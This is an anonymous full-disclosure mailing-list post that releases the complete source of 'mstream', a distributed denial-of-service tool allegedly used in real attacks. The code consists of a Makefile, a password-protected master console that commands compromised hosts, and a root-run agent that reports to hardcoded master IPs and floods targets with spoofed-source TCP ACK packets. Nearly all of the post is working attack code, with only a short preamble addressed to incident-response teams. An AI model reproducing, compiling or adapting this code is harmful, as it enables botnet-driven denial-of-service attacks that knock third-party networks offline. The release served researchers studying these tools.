Subject: Source code to mstream, a DDoS tool It's been alleged that this source code, once compiled, was used by persons unknown in the distributed denial of service (DDoS) attacks earlier this year. Obviously such a thing cannot be confirmed aside from through a process of targeted sites making an appropriate comparison between the traffic this software would generate and the traffic they actually received. The code was made available anonymously to us (ie we didn't write it and don't know who did) and is hereby made available anonymously to AusCERT, CERT, CIAC, Mr David Dittrich (who carried out analyses on binary versions of the trinoo, tfn2k and stacheldracht DDoS tools around the 1999/2000 New Year period), as well as several other "full disclosure" mailing lists/forums. It's not known if this source code has seen the light of day prior to now, so your mileage will definitely vary. -Anon PS: Sad to think that the hopes of the US economy ride unknowingly on the back of an inability of overvalued, overrated "dot.coms" to protect against someone writing such a simple piece of code like this and using it against them. Companies used to have contingency plans to deal with adversity. Now they use the long, flailing arm of the law (the FBI) and the excuse of "hackers" to conceal their depthless technology and security planning from the rigors of Wall Street and the NASDAQ. PPS: Global Psychedelic Trance rocks! Makefile: ------------------------ CC = gcc # -g is so i can debug it better :P # -Wall so i can be happy CFLAGS = -g -Wall all: master server clean: rm -f master server master: master.c $(CC) $(CFLAGS) -o master master.c server: server.c $(CC) $(CFLAGS) -o server server.c ------------------------ master.c ------------------------ /* spwn */ #define PASSWORD "sex" #define SERVERFILE ".sr" #define MASTER_TCP_PORT 6723 #define MASTER_UDP_PORT 9325 #define SERVER_PORT 7983 #define MAXUSERS 3 #define USED 1 #define AUTH 2 #define max(one, two) (one > two ? one : two) #define MAX_IP_LENGTH 17 #define MAX_HOST_LENGTH 200 #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* prototypes for my functions */ void sighandle (int); int maxfd (int, int); void prompt (int); void tof (char *); void fof (char *); void send2server (u_long, char *, ...); void forkbg (void); void nlstr (char *); void sendtoall (char *, ...); char *inet_ntoa (struct in_addr); u_long inet_addr (const char *); int findfree (void); /* end of prototypes */ typedef struct _socks { int fd; int opts; int idle; char *ip; } socks; socks users[MAXUSERS]; int main (int argc, char *argv[]) { fd_set readset; int i, tcpfd, udpfd, socksize, pongs = 0; struct sockaddr_in udpsock, tcpsock, remotesock; struct timeval t; char ibuf[1024], obuf[1024], *arg[3]; signal(SIGINT, sighandle); signal(SIGHUP, sighandle); signal(SIGSEGV, sighandle); socksize = sizeof(struct sockaddr); if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); exit(0); } if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("socket"); exit(0); } tcpsock.sin_family = AF_INET; tcpsock.sin_port = htons(MASTER_TCP_PORT); tcpsock.sin_addr.s_addr = INADDR_ANY; memset(&tcpsock.sin_zero, 0, 8); if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(0); } if (listen(tcpfd, MAXUSERS+1) == -1) { perror("listen"); exit(0); } i = 1; if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) { perror("setsockopt"); exit(0); } i = 1; if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) { perror("setsockopt"); exit(0); } if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) { perror("fcntl"); exit(0); } udpsock.sin_family = AF_INET; udpsock.sin_port = htons(MASTER_UDP_PORT); udpsock.sin_addr.s_addr = INADDR_ANY; memset(&udpsock.sin_zero, 0, 8); if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(0); } i = 1; if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) { perror("setsockopt"); exit(0); } i = 1; if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) { perror("setsockopt"); exit(0); } for (i = 0 ; i <= MAXUSERS ; i++) { users[i].opts = (0 & ~USED); } forkbg(); t.tv_sec = 2; t.tv_usec = 1; for (;;) { for (i = 0 ; i <= MAXUSERS ; i++) if (users[i].opts & USED) if ((time(0) - users[i].idle) > 420) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nYou're too idle !\n"); send(users[i].fd, &obuf, strlen(obuf), 0); close(users[i].fd); users[i].opts &= ~USED; } FD_ZERO(&readset); FD_SET(tcpfd, &readset); FD_SET(udpfd, &readset); for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) FD_SET(users[i].fd, &readset); } if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue; if (FD_ISSET(tcpfd, &readset)) { int socknum; u_long ip; struct hostent *hp; if ((socknum = findfree()) == -1) { socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize); close(socknum); continue; } users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize); for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nConnection from %s\n", inet_ntoa(remotesock.sin_addr)); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } } users[socknum].opts = (USED & ~AUTH); ip = remotesock.sin_addr.s_addr; if ((hp = gethostbyaddr((char *)&ip, sizeof ip, AF_INET)) == NULL) { users[socknum].ip = (char *) malloc(MAX_IP_LENGTH); strncpy(users[socknum].ip, inet_ntoa(remotesock.sin_addr), MAX_IP_LENGTH-1); } else { users[socknum].ip = (char *) malloc(MAX_HOST_LENGTH); strncpy(users[socknum].ip, hp->h_name, MAX_HOST_LENGTH-1); } users[socknum].idle = time(0); } if (FD_ISSET(udpfd, &readset)) { memset(&ibuf, 0, sizeof ibuf); if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue; nlstr(ibuf); if (!strcmp(ibuf, "newserver")) { FILE *f; char line[1024]; int i; if ((f = fopen(SERVERFILE, "r")) == NULL) { f = fopen(SERVERFILE, "w"); fclose(f); continue; } while (fgets(line, (sizeof line)-1, f)) { nlstr(line); fof(line); nlstr(line); if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) { continue; } } fclose(f); if ((f = fopen(SERVERFILE, "a")) == NULL) continue; memset(&obuf, 0, sizeof obuf); snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr)); tof(obuf); fprintf(f, "%s\n", obuf); for (i = 0 ; i <= MAXUSERS ; i++) if (users[i].opts & USED) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr)); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } fclose(f); } if (!strcmp(ibuf, "pong")) { pongs++; for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr)); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } } } } for (i = 0 ; i <= MAXUSERS ; i++) { if (users[i].opts & USED) { if (FD_ISSET(users[i].fd, &readset)) { if (!(users[i].opts & AUTH)) { int x; memset(&ibuf, 0, sizeof ibuf); if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) { int y; users[i].opts = (~AUTH & ~USED); memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno)); for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } close(users[i].fd); free(users[i].ip); continue; } users[i].idle = time(0); for (x = 0 ; x <= strlen(ibuf) ; x++) { if (ibuf[x] == '\n') ibuf[x] = '\0'; if (ibuf[x] == '\r') ibuf[x] = '\0'; } if (strcmp(ibuf, PASSWORD)) { int y; memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip); for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } free(users[i].ip); close(users[i].fd); users[i].opts = (~AUTH & ~USED); continue; } for (x = 0 ; x <= MAXUSERS ; x++) { if ((users[x].opts & USED) && (x != i)) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip); send(users[x].fd, &obuf, strlen(obuf), 0); prompt(users[x].fd); } } users[i].opts |= AUTH; prompt(users[i].fd); continue; } memset(&ibuf, 0, sizeof ibuf); if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) { int y; memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno)); for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } free(users[i].ip); close(users[i].fd); users[i].opts = (~AUTH & ~USED); continue; } arg[0] = strtok(ibuf, " "); arg[1] = strtok(NULL, " "); arg[2] = strtok(NULL, " "); arg[3] = NULL; if (arg[2]) nlstr(arg[2]); if (!strncmp(arg[0], "stream", 6)) { struct hostent *hp; struct in_addr ia; if ((!arg[1]) || (!arg[2])) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "Usage: stream \n"); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); continue; } if ((hp = gethostbyname(arg[1])) == NULL) { memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "Unable to resolve %s.\n", arg[1]); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); continue; } memcpy(&ia.s_addr, &hp->h_addr, hp->h_length); sendtoall("stream/%s/%s", inet_ntoa(ia), arg[2]); memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "Streaming %s for %s seconds.\n", arg[1], arg[2]); send(users[i].fd, &obuf, strlen(obuf), 0); } if (!strncmp(arg[0], "quit", 4)) { int y; memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "%s has disconnected.\n", users[i].ip); for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) { send(users[y].fd, &obuf, strlen(obuf), 0); prompt(users[y].fd); } free(users[i].ip); close(users[i].fd); users[i].opts = (~AUTH & ~USED); continue; } if (!strncmp(arg[0], "servers", 7)) { FILE *f; char line[1024]; if ((f = fopen(SERVERFILE, "r")) == NULL) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nServer file doesn't exist, creating ;)\n"); send(users[i].fd, &obuf, strlen(obuf), 0); f = fopen(SERVERFILE, "w"); fclose(f); prompt(users[i].fd); continue; } memset(&obuf, 0, sizeof obuf); sprintf(obuf, "The following ips are known servers: \n"); send(users[i].fd, &obuf, strlen(obuf), 0); while (fgets(line, (sizeof line)-1, f)) { nlstr(line); fof(line); send(users[i].fd, &line, strlen(line), 0); } fclose(f); } if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nAvailable commands: \n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "stream\t\t--\tstream attack !\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "servers\t\t--\tPrints all known servers.\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "ping\t\t--\tping all servers.\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "who\t\t--\ttells you the ips of the people logged in\n"); send(users[i].fd, &obuf, strlen(obuf), 0); memset(&obuf, 0, sizeof obuf); sprintf(obuf, "mstream\t\t--\tlets you stream more than one ip at a time\n"); send(users[i].fd, &obuf, strlen(obuf), 0); } if (!strncmp(arg[0], "who", 3)) { int x; memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\nCurrently Online: \n"); send(users[i].fd, &obuf, strlen(obuf), 0); for (x = 0 ; x <= MAXUSERS ; x++) { memset(&obuf, 0, sizeof obuf); if (users[x].opts & USED && users[x].opts & AUTH) { snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip); send(users[i].fd, &obuf, strlen(obuf), 0); } } memset(&obuf, 0, sizeof obuf); sprintf(obuf, "\n"); send(users[i].fd, &obuf, strlen(obuf), 0); } if (!strncmp(arg[0], "ping", 4)) { pongs = 0; memset(&obuf, 0, sizeof obuf); sprintf(obuf, "Pinging all servers.\n"); send(users[i].fd, &obuf, strlen(obuf), 0); sendtoall("ping"); } if (!strncmp(arg[0], "mstream", 7)) { if ((!arg[1]) || (!arg[2])) { memset(&obuf, 0, sizeof obuf); sprintf(obuf, "Usage: mstream \n"); send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); continue; } memset(&obuf, 0, sizeof obuf); snprintf(obuf, (sizeof obuf)-1, "MStreaming %s for %s seconds.\n", arg[1], arg[2]); send(users[i].fd, &obuf, strlen(obuf), 0); sendtoall("mstream/%s/%s\n", arg[1], arg[2]); } prompt(users[i].fd); } } } } } int findfree (void) { int i; for (i = 0 ; i <= MAXUSERS ; i++) { if (!(users[i].opts & USED)) return i; } return -1; } void forkbg (void) { int pid; pid = fork(); if (pid == -1) { perror("fork"); exit(0); } if (pid > 0) { printf("Forked into background, pid %d\n", pid); exit(0); } } void nlstr (char *str) { int i; for (i = 0 ; str[i] != NULL ; i++) if ((str[i] == '\n') || (str[i] == '\r')) str[i] = '\0'; } void send2server (u_long addr, char *str, ...) { va_list vl; char buf[1024]; int fd; struct sockaddr_in sock; va_start(vl, str); vsnprintf(buf, (sizeof buf)-1, str, vl); va_end(vl); if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return; sock.sin_family = AF_INET; sock.sin_port = htons(SERVER_PORT); sock.sin_addr.s_addr = addr; memset(&sock.sin_zero, 0, 8); sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr)); } void tof (char *str) { int i; for (i = 0 ; str[i] != 0 ; i++) str[i]+=50; } void fof (char *str) { int i; for (i = 0 ; str[i] != 0 ; i++) str[i]-=50; } void sendtoall (char *str, ...) { va_list vl; char buf[1024], line[1024]; struct sockaddr_in sock; int fd; FILE *f; va_start(vl, str); vsnprintf(buf, (sizeof buf)-1, str, vl); va_end(vl); if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return; sock.sin_family = AF_INET; sock.sin_port = htons(SERVER_PORT); memset(&sock.sin_zero, 0, 8); if ((f = fopen(SERVERFILE, "r")) == NULL) { f = fopen(SERVERFILE, "w"); fclose(f); return; } while (fgets(line, (sizeof line)-1, f)) { nlstr(line); fof(line); nlstr(line); sock.sin_addr.s_addr = inet_addr(line); sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr)); } } void prompt (int fd) { char buf[5]; memset(&buf, 0, sizeof buf); sprintf(buf, "> "); send(fd, &buf, strlen(buf), 0); } int maxfd (int extra1, int extra2) { int mfd = 0, i; for (i = 0 ; i <= MAXUSERS ; i++) if (users[i].opts & USED) mfd = max(mfd, users[i].fd); mfd = max(max(extra1, extra2), mfd); return mfd; } void sighandle (int sig) { int i; char obuf[1024]; memset(&obuf, 0, sizeof obuf); switch (sig) { case SIGHUP: snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n"); break; case SIGINT: snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n"); break; case SIGSEGV: snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n"); break; default: snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n"); } for (i = 0 ; i <= MAXUSERS ; i++) if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) { send(users[i].fd, &obuf, strlen(obuf), 0); prompt(users[i].fd); } if (sig == SIGSEGV) exit(1); } ------------------------ server.c ------------------------ /* spwn */ char *m[]={ "1.1.1.1", /* first master */ "2.2.2.2", /* second master */ "3.3.3.3", /* third master etc */ 0 }; #define MASTER_PORT 9325 #define SERVER_PORT 7983 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include #include #include #include #ifdef LINUX #define FIX(x) htons(x) #else #define FIX(x) (x) #endif void forkbg (void); void send2master (char *, struct in_addr); void stream (int, int, u_long, char **); void nlstr (char *); int main (int argc, char *argv[]) { struct in_addr ia; struct sockaddr_in sock, remote; int fd, socksize, opt = 1, i; char buf[1024]; if (getuid() != 0) { fprintf(stderr, "Must be ran as root.\n"); exit(0); } if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("socket"); exit(0); } sock.sin_family = AF_INET; sock.sin_port = htons(SERVER_PORT); sock.sin_addr.s_addr = INADDR_ANY; memset(&sock.sin_zero, 0, 8); if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(0); } if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) { perror("setsockopt"); exit(0); } forkbg(); for (i = 0 ; m[i] != 0 ; i++) { ia.s_addr = inet_addr(m[i]); send2master("newserver", ia); } for (;;) { socksize = sizeof(struct sockaddr); memset(&buf, 0, sizeof buf); if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) <= 0) continue; if (!strncmp(buf, "stream", 6)) { char *ip; int seconds; nlstr(buf); (void)strtok(buf, "/"); ip = strtok(NULL, "/"); seconds = atoi(strtok(NULL, "/")); stream(0, (seconds + time(0)), inet_addr(ip), NULL); } if (!strncmp(buf, "mstream", 7)) { char *ips, *ipps[50], *tmpip; int seconds, y = 1; nlstr(buf); (void)strtok(buf, "/"); ips = strtok(NULL, "/"); seconds = atoi(strtok(NULL, "/")); if ((tmpip = strtok(ips, ":")) == NULL) continue; ipps[0] = (char *) malloc(strlen(tmpip)+2); strncpy(ipps[0], tmpip, strlen(tmpip)+2); y = 1; while ((tmpip = strtok(NULL, ":")) != NULL) { ipps[y] = (char *)malloc(strlen(tmpip)+2); strncpy(ipps[y], tmpip, strlen(tmpip)+2); y++; } ipps[y] = NULL; stream(1, (seconds + time(0)), NULL, ipps); for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]); } if (!strncmp(buf, "ping", 4)) { send2master("pong", remote.sin_addr); } } /* for(;;) */ } /* main */ void send2master (char *buf, struct in_addr addr) { struct sockaddr_in sock; int fd; if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return; sock.sin_family = AF_INET; sock.sin_port = htons(MASTER_PORT); sock.sin_addr = addr; memset(&sock.sin_zero, 0, 8); sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr)); } void forkbg (void) { int pid; pid = fork(); if (pid == -1) { perror("fork"); exit(0); } if (pid > 0) { printf("Forked into background, pid %d\n", pid); exit(0); } } struct ip_hdr { u_int ip_hl:4, /* header length in 32 bit words */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total packet length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* ip checksum */ u_long saddr, daddr; /* source and dest address */ }; struct tcp_hdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ u_long th_seq; /* sequence number */ u_long th_ack; /* acknowledgement number */ u_int th_x2:4, /* unused */ th_off:4; /* data offset */ u_char th_flags; /* flags field */ u_short th_win; /* window size */ u_short th_sum; /* tcp checksum */ u_short th_urp; /* urgent pointer */ }; struct tcpopt_hdr { u_char type; /* type */ u_char len; /* length */ u_short value; /* value */ }; struct pseudo_hdr { /* See RFC 793 Pseudo Header */ u_long saddr, daddr; /* source and dest address */ u_char mbz, ptcl; /* zero and protocol */ u_short tcpl; /* tcp length */ }; struct packet { struct ip/*_hdr*/ ip; struct tcphdr tcp; /* struct tcpopt_hdr opt; */ }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct packet packet; struct cksum cksum; struct sockaddr_in s_in; int sock; /* This is a reference internet checksum implimentation, not very fast */ inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } void stream (int t, int until, u_long dstaddr, char *dstaddrs[]) { struct timespec ts; int on = 1; if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return; srand((time(NULL) ^ getpid()) + getppid()); memset(&packet, 0, sizeof packet); ts.tv_sec = 0; ts.tv_nsec = 10; packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x08; packet.ip.ip_id = rand(); packet.ip.ip_len = FIX(sizeof packet); packet.ip.ip_off = 0; /* IP_DF? */ packet.ip.ip_ttl = 255; if (!t) packet.ip.ip_dst.s_addr = dstaddr; packet.tcp.th_flags = TH_ACK; packet.tcp.th_win = htons(16384); packet.tcp.th_seq = random(); packet.tcp.th_ack = 0; packet.tcp.th_off = 5; /* 5 */ packet.tcp.th_urp = 0; packet.tcp.th_sport = rand(); packet.tcp.th_dport = rand(); if (!t) cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); s_in.sin_family = AF_INET; if (!t) s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; while (time(0) <= until) { if (t) { int x; for (x = 0 ; dstaddrs[x] != NULL ; x++) { if (!strchr(dstaddrs[x], '.')) break; packet.ip.ip_dst.s_addr = inet_addr(dstaddrs[x]); cksum.pseudo.daddr = inet_addr(dstaddrs[x]); s_in.sin_addr.s_addr = inet_addr(dstaddrs[x]); cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); ++packet.ip.ip_id; ++packet.tcp.th_sport; ++packet.tcp.th_seq; s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum); sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in); } } else { cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); ++packet.ip.ip_id; ++packet.tcp.th_sport; ++packet.tcp.th_seq; s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum); sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in); } } } void nlstr (char *str) { if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '\0'; }